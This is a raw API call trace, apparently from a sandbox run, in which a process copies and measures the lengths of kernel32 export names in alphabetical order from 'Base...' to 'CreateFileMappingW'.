[0109.135] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0109.135] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0109.136] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0109.136] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0109.136] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0109.136] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0109.136] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0109.136] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0109.136] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0109.136] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0109.136] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0109.136] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0109.136] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0109.136] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0109.136] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0109.136] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0109.136] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0109.136] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0109.136] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0109.137] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0109.137] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0109.137] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0109.137] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0109.137] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0109.137] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0109.137] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0109.137] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0109.137] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0109.137] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0109.137] lstrlenA (lpString="BEEP") returned 4 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0109.137] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0109.137] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0109.137] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0109.137] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0109.137] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0109.137] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0109.138] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0109.138] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0109.138] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0109.138] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0109.138] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0109.138] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0109.138] lstrlenA (lpString="CANCELIO") returned 8 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0109.138] lstrlenA (lpString="CANCELIOEX") returned 10 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0109.138] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0109.138] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0109.138] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0109.138] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0109.138] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0109.138] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0109.138] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0109.138] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0109.138] lstrlenA (lpString="CHECKELEVATION") returned 14 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0109.139] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0109.139] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0109.139] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0109.139] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0109.139] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0109.139] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0109.139] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0109.139] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0109.139] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0109.139] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0109.139] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0109.139] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0109.139] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0109.139] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0109.139] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0109.139] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0109.139] lstrlenA (lpString="CLOSESTATE") returned 10 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0109.140] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0109.140] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0109.140] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0109.140] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0109.140] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0109.140] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0109.140] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0109.140] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0109.140] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0109.140] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0109.140] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0109.140] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0109.140] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0109.140] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0109.140] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0109.140] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0109.140] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0109.141] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0109.141] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0109.141] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0109.141] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0109.141] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0109.141] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0109.141] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0109.141] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0109.141] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0109.141] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0109.141] lstrlenA (lpString="COPYCONTEXT") returned 11 [0109.141] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0109.142] lstrlenA (lpString="COPYFILE2") returned 9 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0109.142] lstrlenA (lpString="COPYFILEA") returned 9 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0109.142] lstrlenA (lpString="COPYFILEEXA") returned 11 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0109.142] lstrlenA (lpString="COPYFILEEXW") returned 11 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0109.142] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0109.142] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0109.142] lstrlenA (lpString="COPYFILEW") returned 9 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0109.142] lstrlenA (lpString="COPYLZFILE") returned 10 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0109.142] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0109.142] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0109.142] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0109.142] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0109.142] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0109.142] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0109.142] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0109.142] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0109.142] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0109.143] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0109.143] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0109.143] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0109.143] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0109.143] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0109.143] lstrlenA (lpString="CREATEEVENTA") returned 12 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0109.143] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0109.143] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0109.143] lstrlenA (lpString="CREATEEVENTW") returned 12 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0109.143] lstrlenA (lpString="CREATEFIBER") returned 11 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0109.143] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0109.143] lstrlenA (lpString="CREATEFILE2") returned 11 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0109.143] lstrlenA (lpString="CREATEFILEA") returned 11 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0109.143] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0109.143] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0109.143] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0109.143] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0109.143] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" 